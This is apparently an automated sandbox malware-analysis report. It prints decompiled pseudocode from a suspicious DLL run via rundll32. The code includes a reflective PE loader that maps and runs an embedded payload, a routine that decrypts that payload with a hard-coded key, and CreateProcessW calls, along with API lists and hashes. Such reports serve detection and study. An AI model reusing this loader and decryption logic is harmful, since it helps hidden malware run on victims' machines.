				if(E10001FE0(_v100, _a8, 0x40) != 0) {
					_v16 = _a4;
					if(( *_v16 & 0x0000ffff) == 0x5a4d) {
						_t10 =  &(_v16[0x1e]); // 0x47e81005
						if(E10001FE0(_v100, _a8,  *_t10 + 0xf8) != 0) {
							_t15 =  &(_v16[0x1e]); // 0x47e81005
							_v80 = _a4 +  *_t15;
							if( *_v80 == 0x4550) {
								if(( *(_v80 + 4) & 0x0000ffff) == 0x14c) {
									if(( *(_v80 + 0x38) & 0x00000001) == 0) {
										_v84 = _v80 + ( *(_v80 + 0x14) & 0x0000ffff) + 0x18;
										_v32 =  *(_v80 + 0x38);
										_v12 = 0;
										while(_v12 < ( *(_v80 + 6) & 0x0000ffff)) {
											if( *((intOrPtr*)(_v84 + 0x10)) != 0) {
												_v88 =  *((intOrPtr*)(_v84 + 0xc)) +  *((intOrPtr*)(_v84 + 0x10));
											} else {
												_v88 =  *((intOrPtr*)(_v84 + 0xc)) + _v32;
											}
											if(_v88 > _v20) {
												_v20 = _v88;
											}
											_v12 = _v12 + 1;
											_v84 = _v84 + 0x28;
										}
										__imp__GetNativeSystemInfo( &_v68); // executed
										_v28 =  *((intOrPtr*)(_v80 + 0x50)) + _v64 - 0x00000001 &  !(_v64 - 1);
										_t65 = _v64 - 1; // -1
										if(_v28 == (_v20 + _t65 &  !(_v64 - 1))) {
											_t180 = VirtualAlloc( *(_v80 + 0x34), _v28, 0x3000, 4); // executed
											_v24 = _t180;
											if(_v24 != 0) {
												L26:
												_v72 = HeapAlloc(GetProcessHeap(), 8, 0x34);
												if(_v72 != 0) {
													 *((intOrPtr*)(_v72 + 4)) = _v24;
													asm("sbb edx, edx");
													 *(_v72 + 0x14) =  ~( ~( *(_v80 + 0x16) & 0x2000));
													 *((intOrPtr*)(_v72 + 0x1c)) = _a12;
													 *((intOrPtr*)(_v72 + 0x20)) = _a16;
													 *((intOrPtr*)(_v72 + 0x24)) = _a20;
													 *((intOrPtr*)(_v72 + 0x28)) = _a24;
													 *((intOrPtr*)(_v72 + 0x30)) = _v64;
													if(E10001FE0(_v100, _a8,  *(_v80 + 0x54)) != 0) {
														_t191 = VirtualAlloc(_v24,  *(_v80 + 0x54), 0x1000, 4); // executed
														_v8 = _t191;
														E10001E60(_v8, _v16,  *(_v80 + 0x54));
														_t115 =  &(_v16[0x1e]); // 0x47e81005
														 *_v72 = _v8 +  *_t115;
														 *((intOrPtr*)( *_v72 + 0x34)) = _v24;
														_t198 = E10002010(_v100, _a4, _a8, _v80, _v72); // executed
														if(_t198 != 0) {
															_t269 =  *((intOrPtr*)( *_v72 + 0x34)) -  *(_v80 + 0x34);
															_v76 = _t269;
															if(_t269 == 0) {
																 *((intOrPtr*)(_v72 + 0x18)) = 1;
															} else {
																 *((intOrPtr*)(_v72 + 0x18)) = E10002500(_v100, _v72, _v76);
															}
															if(E10002670(_v100, _v72) != 0) {
																_t202 = E10002300(_v100, _v72); // executed
																if(_t202 != 0) {
																	if(E10002480(_v100, _v72) != 0) {
																		if( *((intOrPtr*)( *_v72 + 0x28)) == 0) {
																			 *(_v72 + 0x2c) = 0;
																			L49:
																			return _v72;
																		}
																		if( *(_v72 + 0x14) == 0) {
																			 *(_v72 + 0x2c) = _v24 +  *((intOrPtr*)( *_v72 + 0x28));
																			L47:
																			goto L49;
																		}
																		_v96 = _v24 +  *((intOrPtr*)( *_v72 + 0x28));
																		_t209 =  *0x10058ed8; // 0x0
																		_t278 =  *0x10058ed4; // 0x1
																		_t326 =  *0x10058ed0; // 0x10000000
																		_v92 = _v96(_t326, _t278, _t209);
																		if(_v92 != 0) {
																			 *((intOrPtr*)(_v72 + 0x10)) = 1;
																			goto L47;
																		}
																		SetLastError(0x45a);
																		L50:
																		E10002EC0(_v100, _v72);
																		return 0;
																	}
																	goto L50;
																}
																goto L50;
															}
															goto L50;
														}
														goto L50;
													}
													goto L50;
												}
												VirtualFree(_v24, 0, 0x8000);
												SetLastError(0xe);
												return 0;
											}
											_t220 = VirtualAlloc(0, _v28, 0x3000, 4); // executed
											_v24 = _t220;
											if(_v24 != 0) {
												goto L26;
											}
											SetLastError(0xe);
											return 0;
										}
										SetLastError(0xc1);
										return 0;
									}
									SetLastError(0xc1);
									return 0;
								}
								SetLastError(0xc1);
								return 0;
							}
							SetLastError(0xc1);
							return 0;
						}
						return 0;
					}
					SetLastError(0xc1);
					return 0;
				}
				return 0;
			}

APIs

Part of subcall function 10001FE0: SetLastError.KERNEL32(0000000D,?,?,10002925,10008AC6,00000040), ref: 10001FF1

SetLastError.KERNEL32(000000C1,10008AC6,00000040), ref: 10002948

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 08cff93c7344199116f568f774659ccae89e30fc42bc807c3f2613e3b5310ed8
Instruction ID: 2ef2df373ea658209f5af2a718a6df98ca9e1c1927523c70ceffa034f4820264
Opcode Fuzzy Hash: 08cff93c7344199116f568f774659ccae89e30fc42bc807c3f2613e3b5310ed8
Instruction Fuzzy Hash: 01E1F874A01219EFEB04CF94C994E9EB7B2FF88384F208559E905AB399D770AD46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 100088E0, Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 131
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E100088E0(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HWND__* _v8;
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct HWND__* _v28;
				struct HWND__* _v32;
				long _v36;
				int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void* __ebp;
				void* _t38;
				long _t45;
				long _t47;
				intOrPtr _t56;
				void* _t63;
				intOrPtr _t68;

				_t79 = __esi;
				_t78 = __edi;
				_t64 = __ebx;
				_v56 = _a8;
				 *0x10058ed0 = _a4;
				_t72 = _a8;
				 *0x10058ed4 = _a8;
				 *0x10058ed8 = _a12;
				_v8 = 0;
				_v36 = 0;
				_v28 = 0;
				_v32 = 0;
				_v12 = 0;
				_t38 = E10008860(__eflags); // executed
				if(_t38 != 0) {
					_push(0x10029b4c);
					E1001771B(__ebx, _t72, __edi, __esi, __eflags);
					return 0;
				}
				 *0x10056f08 = 0;
				 *0x10056f0c = 0;
				 *0x10056f10 = 0;
				 *0x10056f18 = 0;
				 *0x10056f14 = 0;
				_v40 = 0x44368d;
				_v52 = 0x3f8fc5;
				_v20 = 0x3b272b;
				_v24 = 0x2feb60;
				_v44 = 0xdd3c;
				_v48 = 0x47c;
				_v36 = 0x24e00;
				_v28 = E10006170(L"kernel32.dll");
				_v32 = E10006170(L"ntdll.dll");
				 *0x10058eb0 = E10006D50(_v28, 0x70e66e6b);
				 *0x10058eb8 = E10006D50(_v28, 0x579606ae);
				_t95 =  *0x10058eb8;
				if( *0x10058eb8 == 0) {
					_t45 = E10017716(0x10029b18);
					_t47 = E10017716("8192") | 0x00001000;
					__eflags = _t47;
					_v12 = VirtualAlloc(0, _v36, _t47, _t45);
				} else {
					_t63 =  *0x10058eb8(0xffffffff, 0, _v36, E10017716("8192") | 0x00001000, E10017716(0x10029b18), 0); // executed
					_v12 = _t63;
				}
				E10016A10(_t64, _t78, _t79, _v12, 0x10032098, _v36);
				_t68 =  *0x10056f04; // 0x730f
				_v16 = E1001703B(_t64, _v36, _t78, _t79, _t68);
				E10002FA0(_t95, _v16, "vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp", 0x6c);
				E10004F00(_v16, _v12, _v36);
				_t56 = E10002D20(0x10058ebc, _v12, _v36); // executed
				 *0x10058edc = _t56;
				ShowWindow(0, _v40);
				return 1;
			}

APIs

Part of subcall function 10008860: _malloc.LIBCMT ref: 1000886B

_printf.LIBCMT ref: 1000896B
VirtualAllocExNuma.KERNELBASE(000000FF,00000000,00024E00,00000000,00000000,00000000), ref: 10008A2B
VirtualAlloc.KERNEL32(00000000,00024E00,00000000,00000000), ref: 10008A5D
_malloc.LIBCMT ref: 10008A82
ShowWindow.USER32(00000000,0044368D,00000000,00024E00), ref: 10008AD1

Strings

8192, xrefs: 10008A10, 10008A44
vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp, xrefs: 10008A8F
+';, xrefs: 10008988
ntdll.dll, xrefs: 100089BB
`/, xrefs: 1000898F
kernel32.dll, xrefs: 100089AB

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: AllocVirtual_malloc$NumaShowWindow_printf
String ID: +';$8192$`/$kernel32.dll$ntdll.dll$vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp
API String ID: 1487653210-3670691644
Opcode ID: 230bbdfcd20e835c4d7365e9bc9cc9309c602f396e76a36ffbf0d77b2387037d
Instruction ID: 74e036033439e47f0f6271ee42a165f027743cdfe4c2c4d01037afcb8f86e406
Opcode Fuzzy Hash: 230bbdfcd20e835c4d7365e9bc9cc9309c602f396e76a36ffbf0d77b2387037d
Instruction Fuzzy Hash: FE5141F5D00214AFEB00CF90EC96BAE77B4FB48344F144528E909BB345E775A6448BA2

Uniqueness

Uniqueness Score: -1.00%

Function 10013A9B, Relevance: 16.6, APIs: 11, Instructions: 103
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E10013A9B() {
				struct _CRITICAL_SECTION* _v4;
				char _v28;
				char _v36;
				char _v44;
				intOrPtr _v56;
				void* __ebx;
				intOrPtr __ecx;
				signed int __edi;
				void* __esi;
				void* __ebp;
				struct _CRITICAL_SECTION* _t39;
				intOrPtr _t40;
				void* _t41;
				long _t44;
				void* _t45;
				signed int* _t51;
				intOrPtr _t64;
				long _t68;
				void* _t69;
				void* _t70;
				signed int _t72;
				intOrPtr _t78;
				signed int _t82;
				void* _t86;
				signed int _t88;
				void* _t90;
				void* _t91;
				void* _t93;

				_push(_t72);
				_push(_t69);
				_push(_t88);
				_t86 = _t72;
				_t1 = _t86 + 0x1c; // 0x1005aaa8
				_t39 = _t1;
				_v4 = _t39;
				EnterCriticalSection(_t39);
				_t3 = _t86 + 4; // 0x20
				_t40 =  *_t3;
				_t4 = _t86 + 8; // 0x3
				_t82 =  *_t4;
				if(_t82 >= _t40) {
					L7:
					_t82 = 1;
					__eflags = _t40 - 1;
					if(_t40 <= 1) {
						L12:
						_t21 = _t40 + 0x20; // 0x40
						_t88 = _t21;
						_t22 = _t86 + 0x10; // 0x2eb0550
						_t41 =  *_t22;
						__eflags = _t41;
						if(__eflags != 0) {
							_t69 = GlobalHandle(_t41);
							GlobalUnlock(_t69);
							_t44 = E100134F9(_t72, __eflags, _t88, 8);
							_t72 = 0x2002;
							_t45 = GlobalReAlloc(_t69, _t44, ??);
						} else {
							_t68 = E100134F9(_t72, __eflags, _t88, 8);
							_pop(_t72);
							_t45 = GlobalAlloc(2, _t68); // executed
						}
						__eflags = _t45;
						if(_t45 != 0) {
							_t70 = GlobalLock(_t45);
							_t25 = _t86 + 4; // 0x20
							__eflags = _t88 -  *_t25 << 3;
							E100174D0(_t82, _t70 +  *_t25 * 8, 0, _t88 -  *_t25 << 3);
							 *(_t86 + 4) = _t88;
							 *(_t86 + 0x10) = _t70;
							goto L20;
						} else {
							_t23 = _t86 + 0x10; // 0x2eb0550
							_t86 =  *_t23;
							__eflags = _t86;
							if(_t86 != 0) {
								GlobalLock(GlobalHandle(_t86));
							}
							LeaveCriticalSection(_v4);
							_push(_t88);
							_t90 = _t93;
							_push(_t72);
							_v28 = 0x10057168;
							E10017C83( &_v28, 0x1002e258);
							asm("int3");
							_push(_t90);
							_t91 = _t93;
							_push(_t72);
							_v36 = 0x10057200;
							E10017C83( &_v36, 0x1002e2b8);
							asm("int3");
							_push(_t91);
							_push(_t72);
							_v44 = 0x10057298;
							E10017C83( &_v44, 0x1002e2fc);
							asm("int3");
							_push(4);
							E10017BC1(E10027DEC, _t69, _t82, _t86);
							_t78 = E10013965(0x104);
							_v56 = _t78;
							_t64 = 0;
							_v44 = 0;
							if(_t78 != 0) {
								_t64 = E1000CF71(_t78);
							}
							return E10017C60(_t64);
						}
					} else {
						_t18 = _t86 + 0x10; // 0x2eb0550
						_t72 =  *_t18 + 8;
						__eflags = _t72;
						while(1) {
							__eflags =  *_t72 & 0x00000001;
							if(( *_t72 & 0x00000001) == 0) {
								break;
							}
							_t82 = _t82 + 1;
							_t72 = _t72 + 8;
							__eflags = _t82 - _t40;
							if(_t82 < _t40) {
								continue;
							}
							break;
						}
						__eflags = _t82 - _t40;
						if(_t82 < _t40) {
							goto L20;
						} else {
							goto L12;
						}
					}
				} else {
					_t13 = __esi + 0x10; // 0x2eb0550
					__ecx =  *_t13;
					__eflags =  *(__ecx + __edi * 8) & 0x00000001;
					if(( *(__ecx + __edi * 8) & 0x00000001) == 0) {
						L20:
						_t30 = _t86 + 0xc; // 0x3
						__eflags = _t82 -  *_t30;
						if(_t82 >=  *_t30) {
							_t31 = _t82 + 1; // 0x4
							 *((intOrPtr*)(_t86 + 0xc)) = _t31;
						}
						_t33 = _t86 + 0x10; // 0x2eb0550
						_t51 =  *_t33 + _t82 * 8;
						 *_t51 =  *_t51 | 0x00000001;
						__eflags =  *_t51;
						_t37 = _t82 + 1; // 0x4
						 *(_t86 + 8) = _t37;
						LeaveCriticalSection(_v4);
						return _t82;
					} else {
						goto L7;
					}
				}
			}

APIs

EnterCriticalSection.KERNEL32(1005AAA8,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013AAA
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10013B00
GlobalHandle.KERNEL32(02EB0550), ref: 10013B09
GlobalUnlock.KERNEL32(00000000,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013B12
GlobalReAlloc.KERNEL32 ref: 10013B29
GlobalHandle.KERNEL32(02EB0550), ref: 10013B3B
GlobalLock.KERNEL32 ref: 10013B42
LeaveCriticalSection.KERNEL32(?,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013B4C
GlobalLock.KERNEL32 ref: 10013B58
_memset.LIBCMT ref: 10013B71
LeaveCriticalSection.KERNEL32(?), ref: 10013B9D

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock_memset
String ID:
API String ID: 496899490-0
Opcode ID: db40230195121c03edd1d9de773089a9b398076d37fb16ef380e98a53d4696a6
Instruction ID: d2dedea389880cd6532a8cc41d1f31ca5a81082a511f3f96b23d25218acb7329
Opcode Fuzzy Hash: db40230195121c03edd1d9de773089a9b398076d37fb16ef380e98a53d4696a6
Instruction Fuzzy Hash: 5F31C1312043129FE720CF34CC8DA2A77E9FF84280B12891DE996C7651EB30F885CB10

Uniqueness

Uniqueness Score: -1.00%

Function 10016380, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E10016380(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x1002f780);
				_t8 = E1001984C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E10019891(_t8);
				}
				if( *0x1005c984 != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x1005ad4c); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E10017D62(_t31);
						 *_t10 = E10017D27(GetLastError());
					}
					goto L9;
				}
				E1001A549(4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E1001A5C2(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E1001A5ED();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E100163D6();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

APIs

__lock.LIBCMT ref: 1001639E

Part of subcall function 1001A549: __mtinitlocknum.LIBCMT ref: 1001A55D
Part of subcall function 1001A549: __amsg_exit.LIBCMT ref: 1001A569
Part of subcall function 1001A549: EnterCriticalSection.KERNEL32(00000001,00000001,?,1001C014,0000000D,1002FA58,00000008,1001C106,00000001,?,?,00000001,?,?,10017AE8,00000001), ref: 1001A571

___sbh_find_block.LIBCMT ref: 100163A9
___sbh_free_block.LIBCMT ref: 100163B8
RtlFreeHeap.NTDLL(00000000,?,1002F780,0000000C,1001BF6A,00000000,?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562), ref: 100163E8
GetLastError.KERNEL32(?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562,00000001,00000001,?,1001C014,0000000D,1002FA58), ref: 100163F9

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 933a214dfe2b721a1172918ae6127c9818b4b1158d9b2876c596c2397cc5b652
Instruction ID: 632ebcc47bfd7d50c2ae726889ea94072d2ceb4c664f4e9832d4c107bd8c1e1e
Opcode Fuzzy Hash: 933a214dfe2b721a1172918ae6127c9818b4b1158d9b2876c596c2397cc5b652
Instruction Fuzzy Hash: EE01D635805326EBEF20DBB4AC0AB9D3BF4EF053A0F214109F554AE091CB34EAC19A64

Uniqueness

Uniqueness Score: -1.00%

Function 030B2C24, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,2E751909,00000000,00000000,00534833,00000000,00000000,00000000,?,?), ref: 030B2D02

Strings

3HS, xrefs: 030B2C57

Memory Dump Source

Source File: 00000003.00000002.303938818.0000000003091000.00000020.00000001.sdmp, Offset: 03090000, based on PE: true

Associated: 00000003.00000002.303934318.0000000003090000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.303955009.00000000030B6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3090000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 3HS
API String ID: 963392458-330188696
Opcode ID: b0049691a906c617faab48a03f019d00495406e067b30e8a3afe4c22a13f3ee0
Instruction ID: 829cfb81a36cde37e3f8c8324e6274a07615324e48364ce7b463e0afc93c366a
Opcode Fuzzy Hash: b0049691a906c617faab48a03f019d00495406e067b30e8a3afe4c22a13f3ee0
Instruction Fuzzy Hash: 9D21F372801248BBCF159F96DC0ACDFBFB9EF85700F108189F915A2220C3B58A24DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 100021D0, Relevance: 3.1, APIs: 2, Instructions: 98
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E100021D0(intOrPtr __ecx, intOrPtr* _a4, void** _a8) {
				long _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				int _t67;

				_v28 = __ecx;
				if(_a8[2] != 0) {
					if((_a8[3] & 0x02000000) == 0) {
						asm("sbb ecx, ecx");
						_v16 =  ~( ~(_a8[3] & 0x20000000));
						asm("sbb eax, eax");
						_v24 =  ~( ~(_a8[3] & 0x40000000));
						asm("sbb edx, edx");
						_v12 =  ~( ~(_a8[3] & 0x80000000));
						_t39 = _v24 * 8; // 0x10056f20
						_v20 =  *((intOrPtr*)((_v16 << 4) + _t39 + 0x10056f20 + _v12 * 4));
						if((_a8[3] & 0x04000000) != 0) {
							_v20 = _v20 | 0x00000200;
						}
						_t67 = VirtualProtect( *_a8, _a8[2], _v20,  &_v8); // executed
						if(_t67 != 0) {
							return 1;
						} else {
							return 0;
						}
					}
					if( *_a8 == _a8[1] && (_a8[4] != 0 ||  *((intOrPtr*)( *_a4 + 0x38)) ==  *(_a4 + 0x30) || _a8[2] %  *(_a4 + 0x30) == 0)) {
						VirtualFree( *_a8, _a8[2], 0x4000); // executed
					}
					return 1;
				}
				return 1;
			}

APIs

VirtualFree.KERNELBASE(00000000,?,00004000,?,10002468,00000001,00000000,?,10002C68,?,?,?,?,10002C68,00000000,00000000), ref: 10002244

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 47f32b032b7fce0672a30d9b107070a1881b22e5365e79d9d7a5c7562cbc9459
Instruction ID: def7816fd77fd5aef653724919a03fde70f7e86383ff2ba96e4cf8bb5acc80b5
Opcode Fuzzy Hash: 47f32b032b7fce0672a30d9b107070a1881b22e5365e79d9d7a5c7562cbc9459
Instruction Fuzzy Hash: 5A41B674600109AFEB44CF98C890BA9B7B6FB88350F25C659EC1A9F395C731EE41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1001A305, Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E1001A305(intOrPtr _a4) {
				void* _t6;
				intOrPtr _t7;
				void* _t10;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x1005ad4c = _t6;
				if(_t6 != 0) {
					_t7 = E1001A2AA(__eflags);
					__eflags = _t7 - 3;
					 *0x1005c984 = _t7;
					if(_t7 != 3) {
						L5:
						__eflags = 1;
						return 1;
					} else {
						_t10 = E1001A57A(0x3f8);
						__eflags = _t10;
						if(_t10 != 0) {
							goto L5;
						} else {
							HeapDestroy( *0x1005ad4c);
							 *0x1005ad4c =  *0x1005ad4c & 0x00000000;
							goto L1;
						}
					}
				} else {
					L1:
					return 0;
				}
			}

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,1001796A,00000001,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C), ref: 1001A316
HeapDestroy.KERNEL32(?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001A34C

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 2498113e0f0cb93b929c98f8b50cab2ed5fb389832bb0c331937e648ce874443
Instruction ID: 8ebff57b685a6f4636b50d0b354dfd0ee4d70228ae444a146c3f0929ed30e208
Opcode Fuzzy Hash: 2498113e0f0cb93b929c98f8b50cab2ed5fb389832bb0c331937e648ce874443
Instruction Fuzzy Hash: 93E06D71A193569EFB10AB308C9972536F4EB46386F104826F911CD4A0F7B0C6C09A01

Uniqueness

Uniqueness Score: -1.00%

Function 10002010, Relevance: 2.6, APIs: 2, Instructions: 115
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E10002010(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _t76;
				void* _t127;

				_v28 = __ecx;
				_t3 = _a16 + 4; // 0x104e9
				_v20 =  *_t3;
				_t7 =  *_a16 + 0x14; // 0x4a8bb445
				_t9 = ( *_t7 & 0x0000ffff) + 0x18; // 0x10002c17
				_v24 =  *_a16 + _t9;
				_v8 = 0;
				while(1) {
					_t17 =  *_a16 + 6; // 0xe9000001
					if(_v8 >= ( *_t17 & 0x0000ffff)) {
						break;
					}
					if( *(_v24 + 0x10) != 0) {
						_t41 = _v24 + 0x14; // 0x4a8bb445
						_t43 = _v24 + 0x10; // 0x8b118bbc
						if(E10001FE0(_v28, _a8,  *_t41 +  *_t43) != 0) {
							_t47 = _v24 + 0x10; // 0x8b118bbc
							_t50 = _v24 + 0xc; // 0x4d8b0000
							_t76 = VirtualAlloc(_v20 +  *_t50,  *_t47, 0x1000, 4); // executed
							_v12 = _t76;
							if(_v12 != 0) {
								_t55 = _v24 + 0xc; // 0x4d8b0000
								_v12 = _v20 +  *_t55;
								_t58 = _v24 + 0x10; // 0x8b118bbc
								_t61 = _v24 + 0x14; // 0x4a8bb445
								E10001E60(_v12, _a4 +  *_t61,  *_t58);
								_t127 = _t127 + 0xc;
								 *((intOrPtr*)(_v24 + 8)) = _v12;
								L1:
								_v8 = _v8 + 1;
								_v24 = _v24 + 0x28;
								continue;
							}
							return 0;
						}
						return 0;
					}
					_v16 =  *((intOrPtr*)(_a12 + 0x38));
					if(_v16 <= 0) {
						L8:
						goto L1;
					}
					_t28 = _v24 + 0xc; // 0x4d8b0000
